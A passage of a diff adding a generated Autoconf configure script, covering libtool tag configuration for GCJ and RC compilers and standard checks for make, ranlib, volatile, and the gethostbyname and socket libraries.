+hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_GCJ + +# Whether we need a single -rpath flag with a separated argument. +hardcode_libdir_separator=$lt_hardcode_libdir_separator_GCJ + +# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the +# resulting binary. +hardcode_direct=$hardcode_direct_GCJ + +# Set to yes if using the -LDIR flag during linking hardcodes DIR into the +# resulting binary. +hardcode_minus_L=$hardcode_minus_L_GCJ + +# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into +# the resulting binary. +hardcode_shlibpath_var=$hardcode_shlibpath_var_GCJ + +# Set to yes if building a shared library automatically hardcodes DIR into the library +# and all subsequent libraries and executables linked against it. +hardcode_automatic=$hardcode_automatic_GCJ + +# Variables whose values should be saved in libtool wrapper scripts and +# restored at relink time. +variables_saved_for_relink="$variables_saved_for_relink" + +# Whether libtool must link a program against all its dependency libraries. +link_all_deplibs=$link_all_deplibs_GCJ + +# Compile-time system search path for libraries +sys_lib_search_path_spec=$lt_sys_lib_search_path_spec + +# Run-time system search path for libraries +sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec + +# Fix the shell variable \$srcfile for the compiler. +fix_srcfile_path="$fix_srcfile_path_GCJ" + +# Set to yes if exported symbols are required. +always_export_symbols=$always_export_symbols_GCJ + +# The commands to list exported symbols. +export_symbols_cmds=$lt_export_symbols_cmds_GCJ + +# The commands to extract the exported symbol list from a shared archive. +extract_expsyms_cmds=$lt_extract_expsyms_cmds + +# Symbols that should not be listed in the preloaded symbols. +exclude_expsyms=$lt_exclude_expsyms_GCJ + +# Symbols that must always be exported. +include_expsyms=$lt_include_expsyms_GCJ + +# ### END LIBTOOL TAG CONFIG: $tagname + +__EOF__ + + +else + # If there is no Makefile yet, we rely on a make rule to execute + # `config.status --recheck' to rerun these tests and create the + # libtool script then. + ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'` + if test -f "$ltmain_in"; then + test -f Makefile && make "$ltmain" + fi +fi + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +CC="$lt_save_CC" + + else + tagname="" + fi + ;; + + RC) + + +# Source file extension for RC test sources. +ac_ext=rc + +# Object file extension for compiled RC test sources. +objext=o +objext_RC=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code='sample MENU { MENUITEM "&Soup", 100, CHECKED }\n' + +# Code to be used in simple link tests +lt_simple_link_test_code="$lt_simple_compile_test_code" + +# ltmain only uses $CC for tagged configurations so make sure $CC is set. + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# Allow CC to be a program name with arguments. +compiler=$CC + + +# Allow CC to be a program name with arguments. +lt_save_CC="$CC" +CC=${RC-"windres"} +compiler=$CC +compiler_RC=$CC +lt_cv_prog_compiler_c_o_RC=yes + +# The else clause should only fire when bootstrapping the +# libtool distribution, otherwise you forgot to ship ltmain.sh +# with your package, and you will get complaints that there are +# no rules to generate ltmain.sh. +if test -f "$ltmain"; then + # See if we are running on zsh, and set the options which allow our commands through + # without removal of \ escapes. + if test -n "${ZSH_VERSION+set}" ; then + setopt NO_GLOB_SUBST + fi + # Now quote all the things that may contain metacharacters while being + # careful not to overquote the AC_SUBSTed values. We take copies of the + # variables and quote the copies for generation of the libtool script. + for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC NM \ + SED SHELL STRIP \ + libname_spec library_names_spec soname_spec extract_expsyms_cmds \ + old_striplib striplib file_magic_cmd finish_cmds finish_eval \ + deplibs_check_method reload_flag reload_cmds need_locks \ + lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \ + lt_cv_sys_global_symbol_to_c_name_address \ + sys_lib_search_path_spec sys_lib_dlsearch_path_spec \ + old_postinstall_cmds old_postuninstall_cmds \ + compiler_RC \ + CC_RC \ + LD_RC \ + lt_prog_compiler_wl_RC \ + lt_prog_compiler_pic_RC \ + lt_prog_compiler_static_RC \ + lt_prog_compiler_no_builtin_flag_RC \ + export_dynamic_flag_spec_RC \ + thread_safe_flag_spec_RC \ + whole_archive_flag_spec_RC \ + enable_shared_with_static_runtimes_RC \ + old_archive_cmds_RC \ + old_archive_from_new_cmds_RC \ + predep_objects_RC \ + postdep_objects_RC \ + predeps_RC \ + postdeps_RC \ + compiler_lib_search_path_RC \ + archive_cmds_RC \ + archive_expsym_cmds_RC \ + postinstall_cmds_RC \ + postuninstall_cmds_RC \ + old_archive_from_expsyms_cmds_RC \ + allow_undefined_flag_RC \ + no_undefined_flag_RC \ + export_symbols_cmds_RC \ + hardcode_libdir_flag_spec_RC \ + hardcode_libdir_flag_spec_ld_RC \ + hardcode_libdir_separator_RC \ + hardcode_automatic_RC \ + module_cmds_RC \ + module_expsym_cmds_RC \ + lt_cv_prog_compiler_c_o_RC \ + exclude_expsyms_RC \ + include_expsyms_RC; do + + case $var in + old_archive_cmds_RC | \ + old_archive_from_new_cmds_RC | \ + archive_cmds_RC | \ + archive_expsym_cmds_RC | \ + module_cmds_RC | \ + module_expsym_cmds_RC | \ + old_archive_from_expsyms_cmds_RC | \ + export_symbols_cmds_RC | \ + extract_expsyms_cmds | reload_cmds | finish_cmds | \ + postinstall_cmds | postuninstall_cmds | \ + old_postinstall_cmds | old_postuninstall_cmds | \ + sys_lib_search_path_spec | sys_lib_dlsearch_path_spec) + # Double-quote double-evaled strings. + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\"" + ;; + *) + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\"" + ;; + esac + done + + case $lt_echo in + *'\$0 --fallback-echo"') + lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'` + ;; + esac + +cfgfile="$ofile" + + cat <<__EOF__ >> "$cfgfile" +# ### BEGIN LIBTOOL TAG CONFIG: $tagname + +# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`: + +# Shell to use when invoking shell scripts. +SHELL=$lt_SHELL + +# Whether or not to build shared libraries. +build_libtool_libs=$enable_shared + +# Whether or not to build static libraries. +build_old_libs=$enable_static + +# Whether or not to add -lc for building shared libraries. +build_libtool_need_lc=$archive_cmds_need_lc_RC + +# Whether or not to disallow shared libs when runtime libs are static +allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_RC + +# Whether or not to optimize for fast installation. +fast_install=$enable_fast_install + +# The host system. +host_alias=$host_alias +host=$host + +# An echo program that does not interpret backslashes. +echo=$lt_echo + +# The archiver. +AR=$lt_AR +AR_FLAGS=$lt_AR_FLAGS + +# A C compiler. +LTCC=$lt_LTCC + +# A language-specific compiler. +CC=$lt_compiler_RC + +# Is the compiler the GNU C compiler? +with_gcc=$GCC_RC + +# An ERE matcher. +EGREP=$lt_EGREP + +# The linker used to build libraries. +LD=$lt_LD_RC + +# Whether we need hard or soft links. +LN_S=$lt_LN_S + +# A BSD-compatible nm program. +NM=$lt_NM + +# A symbol stripping program +STRIP=$lt_STRIP + +# Used to examine libraries when file_magic_cmd begins "file" +MAGIC_CMD=$MAGIC_CMD + +# Used on cygwin: DLL creation program. +DLLTOOL="$DLLTOOL" + +# Used on cygwin: object dumper. +OBJDUMP="$OBJDUMP" + +# Used on cygwin: assembler. +AS="$AS" + +# The name of the directory that contains temporary libtool files. +objdir=$objdir + +# How to create reloadable object files. +reload_flag=$lt_reload_flag +reload_cmds=$lt_reload_cmds + +# How to pass a linker flag through the compiler. +wl=$lt_lt_prog_compiler_wl_RC + +# Object file suffix (normally "o"). +objext="$ac_objext" + +# Old archive suffix (normally "a"). +libext="$libext" + +# Shared library suffix (normally ".so"). +shrext_cmds='$shrext_cmds' + +# Executable file suffix (normally ""). +exeext="$exeext" + +# Additional compiler flags for building library objects. +pic_flag=$lt_lt_prog_compiler_pic_RC +pic_mode=$pic_mode + +# What is the maximum length of a command? +max_cmd_len=$lt_cv_sys_max_cmd_len + +# Does compiler simultaneously support -c and -o options? +compiler_c_o=$lt_lt_cv_prog_compiler_c_o_RC + +# Must we lock files when doing compilation ? +need_locks=$lt_need_locks + +# Do we need the lib prefix for modules? +need_lib_prefix=$need_lib_prefix + +# Do we need a version for libraries? +need_version=$need_version + +# Whether dlopen is supported. +dlopen_support=$enable_dlopen + +# Whether dlopen of programs is supported. +dlopen_self=$enable_dlopen_self + +# Whether dlopen of statically linked programs is supported. +dlopen_self_static=$enable_dlopen_self_static + +# Compiler flag to prevent dynamic linking. +link_static_flag=$lt_lt_prog_compiler_static_RC + +# Compiler flag to turn off builtin functions. +no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_RC + +# Compiler flag to allow reflexive dlopens. +export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_RC + +# Compiler flag to generate shared objects directly from archives. +whole_archive_flag_spec=$lt_whole_archive_flag_spec_RC + +# Compiler flag to generate thread-safe objects. +thread_safe_flag_spec=$lt_thread_safe_flag_spec_RC + +# Library versioning type. +version_type=$version_type + +# Format of library name prefix. +libname_spec=$lt_libname_spec + +# List of archive names. First name is the real one, the rest are links. +# The last name is the one that the linker finds with -lNAME. +library_names_spec=$lt_library_names_spec + +# The coded name of the library, if different from the real name. +soname_spec=$lt_soname_spec + +# Commands used to build and install an old-style archive. +RANLIB=$lt_RANLIB +old_archive_cmds=$lt_old_archive_cmds_RC +old_postinstall_cmds=$lt_old_postinstall_cmds +old_postuninstall_cmds=$lt_old_postuninstall_cmds + +# Create an old-style archive from a shared archive. +old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_RC + +# Create a temporary old-style archive to link instead of a shared archive. +old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_RC + +# Commands used to build and install a shared archive. +archive_cmds=$lt_archive_cmds_RC +archive_expsym_cmds=$lt_archive_expsym_cmds_RC +postinstall_cmds=$lt_postinstall_cmds +postuninstall_cmds=$lt_postuninstall_cmds + +# Commands used to build a loadable module (assumed same as above if empty) +module_cmds=$lt_module_cmds_RC +module_expsym_cmds=$lt_module_expsym_cmds_RC + +# Commands to strip libraries. +old_striplib=$lt_old_striplib +striplib=$lt_striplib + +# Dependencies to place before the objects being linked to create a +# shared library. +predep_objects=$lt_predep_objects_RC + +# Dependencies to place after the objects being linked to create a +# shared library. +postdep_objects=$lt_postdep_objects_RC + +# Dependencies to place before the objects being linked to create a +# shared library. +predeps=$lt_predeps_RC + +# Dependencies to place after the objects being linked to create a +# shared library. +postdeps=$lt_postdeps_RC + +# The library search path used internally by the compiler when linking +# a shared library. +compiler_lib_search_path=$lt_compiler_lib_search_path_RC + +# Method to check whether dependent libraries are shared objects. +deplibs_check_method=$lt_deplibs_check_method + +# Command to use when deplibs_check_method == file_magic. +file_magic_cmd=$lt_file_magic_cmd + +# Flag that allows shared libraries with undefined symbols to be built. +allow_undefined_flag=$lt_allow_undefined_flag_RC + +# Flag that forces no undefined symbols. +no_undefined_flag=$lt_no_undefined_flag_RC + +# Commands used to finish a libtool library installation in a directory. +finish_cmds=$lt_finish_cmds + +# Same as above, but a single script fragment to be evaled but not shown. +finish_eval=$lt_finish_eval + +# Take the output of nm and produce a listing of raw symbols and C names. +global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe + +# Transform the output of nm in a proper C declaration +global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl + +# Transform the output of nm in a C name address pair +global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address + +# This is the shared library runtime path variable. +runpath_var=$runpath_var + +# This is the shared library path variable. +shlibpath_var=$shlibpath_var + +# Is shlibpath searched before the hard-coded library search path? +shlibpath_overrides_runpath=$shlibpath_overrides_runpath + +# How to hardcode a shared library path into an executable. +hardcode_action=$hardcode_action_RC + +# Whether we should hardcode library paths into libraries. +hardcode_into_libs=$hardcode_into_libs + +# Flag to hardcode \$libdir into a binary during linking. +# This must work even if \$libdir does not exist. +hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_RC + +# If ld is used when linking, flag to hardcode \$libdir into +# a binary during linking. This must work even if \$libdir does +# not exist. +hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_RC + +# Whether we need a single -rpath flag with a separated argument. +hardcode_libdir_separator=$lt_hardcode_libdir_separator_RC + +# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the +# resulting binary. +hardcode_direct=$hardcode_direct_RC + +# Set to yes if using the -LDIR flag during linking hardcodes DIR into the +# resulting binary. +hardcode_minus_L=$hardcode_minus_L_RC + +# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into +# the resulting binary. +hardcode_shlibpath_var=$hardcode_shlibpath_var_RC + +# Set to yes if building a shared library automatically hardcodes DIR into the library +# and all subsequent libraries and executables linked against it. +hardcode_automatic=$hardcode_automatic_RC + +# Variables whose values should be saved in libtool wrapper scripts and +# restored at relink time. +variables_saved_for_relink="$variables_saved_for_relink" + +# Whether libtool must link a program against all its dependency libraries. +link_all_deplibs=$link_all_deplibs_RC + +# Compile-time system search path for libraries +sys_lib_search_path_spec=$lt_sys_lib_search_path_spec + +# Run-time system search path for libraries +sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec + +# Fix the shell variable \$srcfile for the compiler. +fix_srcfile_path="$fix_srcfile_path_RC" + +# Set to yes if exported symbols are required. +always_export_symbols=$always_export_symbols_RC + +# The commands to list exported symbols. +export_symbols_cmds=$lt_export_symbols_cmds_RC + +# The commands to extract the exported symbol list from a shared archive. +extract_expsyms_cmds=$lt_extract_expsyms_cmds + +# Symbols that should not be listed in the preloaded symbols. +exclude_expsyms=$lt_exclude_expsyms_RC + +# Symbols that must always be exported. +include_expsyms=$lt_include_expsyms_RC + +# ### END LIBTOOL TAG CONFIG: $tagname + +__EOF__ + + +else + # If there is no Makefile yet, we rely on a make rule to execute + # `config.status --recheck' to rerun these tests and create the + # libtool script then. + ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'` + if test -f "$ltmain_in"; then + test -f Makefile && make "$ltmain" + fi +fi + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +CC="$lt_save_CC" + + ;; + + *) + { { echo "$as_me:$LINENO: error: Unsupported tag name: $tagname" >&5 +echo "$as_me: error: Unsupported tag name: $tagname" >&2;} + { (exit 1); exit 1; }; } + ;; + esac + + # Append the new tag name to the list of available tags. + if test -n "$tagname" ; then + available_tags="$available_tags $tagname" + fi + fi + done + IFS="$lt_save_ifs" + + # Now substitute the updated list of available tags. + if eval "sed -e 's/^available_tags=.*\$/available_tags=\"$available_tags\"/' \"$ofile\" > \"${ofile}T\""; then + mv "${ofile}T" "$ofile" + chmod +x "$ofile" + else + rm -f "${ofile}T" + { { echo "$as_me:$LINENO: error: unable to update list of available tagged configurations." >&5 +echo "$as_me: error: unable to update list of available tagged configurations." >&2;} + { (exit 1); exit 1; }; } + fi +fi + + + +# This can be used to rebuild libtool when needed +LIBTOOL_DEPS="$ac_aux_dir/ltmain.sh" + +# Always use our own libtool. +LIBTOOL='$(SHELL) $(top_builddir)/libtool' + +# Prevent multiple expansion + + + + + + + + + + + + + + + + + + + + +{ echo "$as_me:$LINENO: checking whether ${MAKE-make} sets \$(MAKE)" >&5 +echo $ECHO_N "checking whether ${MAKE-make} sets \$(MAKE)... $ECHO_C" >&6; } +set x ${MAKE-make}; ac_make=`echo "$2" | sed 's/+/p/g; s/[^a-zA-Z0-9_]/_/g'` +if { as_var=ac_cv_prog_make_${ac_make}_set; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.make <<\_ACEOF +SHELL = /bin/sh +all: + @echo '@@@%%%=$(MAKE)=@@@%%%' +_ACEOF +# GNU make sometimes prints "make[1]: Entering...", which would confuse us. +case `${MAKE-make} -f conftest.make 2>/dev/null` in + *@@@%%%=?*=@@@%%%*) + eval ac_cv_prog_make_${ac_make}_set=yes;; + *) + eval ac_cv_prog_make_${ac_make}_set=no;; +esac +rm -f conftest.make +fi +if eval test \$ac_cv_prog_make_${ac_make}_set = yes; then + { echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } + SET_MAKE= +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } + SET_MAKE="MAKE=${MAKE-make}" +fi + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}ranlib", so it can be a program name with args. +set dummy ${ac_tool_prefix}ranlib; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_RANLIB+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$RANLIB"; then + ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_RANLIB="${ac_tool_prefix}ranlib" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +RANLIB=$ac_cv_prog_RANLIB +if test -n "$RANLIB"; then + { echo "$as_me:$LINENO: result: $RANLIB" >&5 +echo "${ECHO_T}$RANLIB" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_RANLIB"; then + ac_ct_RANLIB=$RANLIB + # Extract the first word of "ranlib", so it can be a program name with args. +set dummy ranlib; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_ac_ct_RANLIB+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_RANLIB"; then + ac_cv_prog_ac_ct_RANLIB="$ac_ct_RANLIB" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_ac_ct_RANLIB="ranlib" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +ac_ct_RANLIB=$ac_cv_prog_ac_ct_RANLIB +if test -n "$ac_ct_RANLIB"; then + { echo "$as_me:$LINENO: result: $ac_ct_RANLIB" >&5 +echo "${ECHO_T}$ac_ct_RANLIB" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + if test "x$ac_ct_RANLIB" = x; then + RANLIB=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ echo "$as_me:$LINENO: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&5 +echo "$as_me: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&2;} +ac_tool_warned=yes ;; +esac + RANLIB=$ac_ct_RANLIB + fi +else + RANLIB="$ac_cv_prog_RANLIB" +fi + +{ echo "$as_me:$LINENO: checking for working volatile" >&5 +echo $ECHO_N "checking for working volatile... $ECHO_C" >&6; } +if test "${ac_cv_c_volatile+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + +volatile int x; +int * volatile y = (int *) 0; +return !x && !y; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_c_volatile=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_c_volatile=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_c_volatile" >&5 +echo "${ECHO_T}$ac_cv_c_volatile" >&6; } +if test $ac_cv_c_volatile = no; then + +cat >>confdefs.h <<\_ACEOF +#define volatile +_ACEOF + +fi + + + + +LIBS="" + + # Most operating systems have gethostbyname() in the default searched + # libraries (i.e. libc): + # Some OSes (eg. Solaris) place it in libnsl + # Some strange OSes (SINIX) have it in libsocket: + { echo "$as_me:$LINENO: checking for library containing gethostbyname" >&5 +echo $ECHO_N "checking for library containing gethostbyname... $ECHO_C" >&6; } +if test "${ac_cv_search_gethostbyname+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_func_search_save_LIBS=$LIBS +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char gethostbyname (); +int +main () +{ +return gethostbyname (); + ; + return 0; +} +_ACEOF +for ac_lib in '' nsl socket resolv; do + if test -z "$ac_lib"; then + ac_res="none required" + else + ac_res=-l$ac_lib + LIBS="-l$ac_lib $ac_func_search_save_LIBS" + fi + rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_search_gethostbyname=$ac_res +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext + if test "${ac_cv_search_gethostbyname+set}" = set; then + break +fi +done +if test "${ac_cv_search_gethostbyname+set}" = set; then + : +else + ac_cv_search_gethostbyname=no +fi +rm conftest.$ac_ext +LIBS=$ac_func_search_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_search_gethostbyname" >&5 +echo "${ECHO_T}$ac_cv_search_gethostbyname" >&6; } +ac_res=$ac_cv_search_gethostbyname +if test "$ac_res" != no; then + test "$ac_res" = "none required" || LIBS="$ac_res $LIBS" + +fi + + # Unfortunately libsocket sometimes depends on libnsl and + # AC_SEARCH_LIBS isn't up to the task of handling dependencies like this. + if test "$ac_cv_search_gethostbyname" = "no" + then + { echo "$as_me:$LINENO: checking for gethostbyname in -lsocket" >&5 +echo $ECHO_N "checking for gethostbyname in -lsocket... $ECHO_C" >&6; } +if test "${ac_cv_lib_socket_gethostbyname+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lsocket -lnsl $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char gethostbyname (); +int +main () +{ +return gethostbyname (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_socket_gethostbyname=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_socket_gethostbyname=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_socket_gethostbyname" >&5 +echo "${ECHO_T}$ac_cv_lib_socket_gethostbyname" >&6; } +if test $ac_cv_lib_socket_gethostbyname = yes; then + LIBS="-lsocket -lnsl $LIBS" +fi + + fi + { echo "$as_me:$LINENO: checking for library containing socket" >&5 +echo $ECHO_N "checking for library containing socket... $ECHO_C" >&6; } +if test "${ac_cv_search_socket+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_func_search_save_LIBS=$LIBS +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char socket (); +int +main () +{ +return socket (); + ; + return 0; +} +_ACEOF +for ac_lib in '' socket; do + if test -z "$ac_lib"; then + ac_res="none required" + else + ac_res=-l$ac_lib + LIBS="-l$ac_lib $ac_func_search_save_LIBS" + fi + rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + 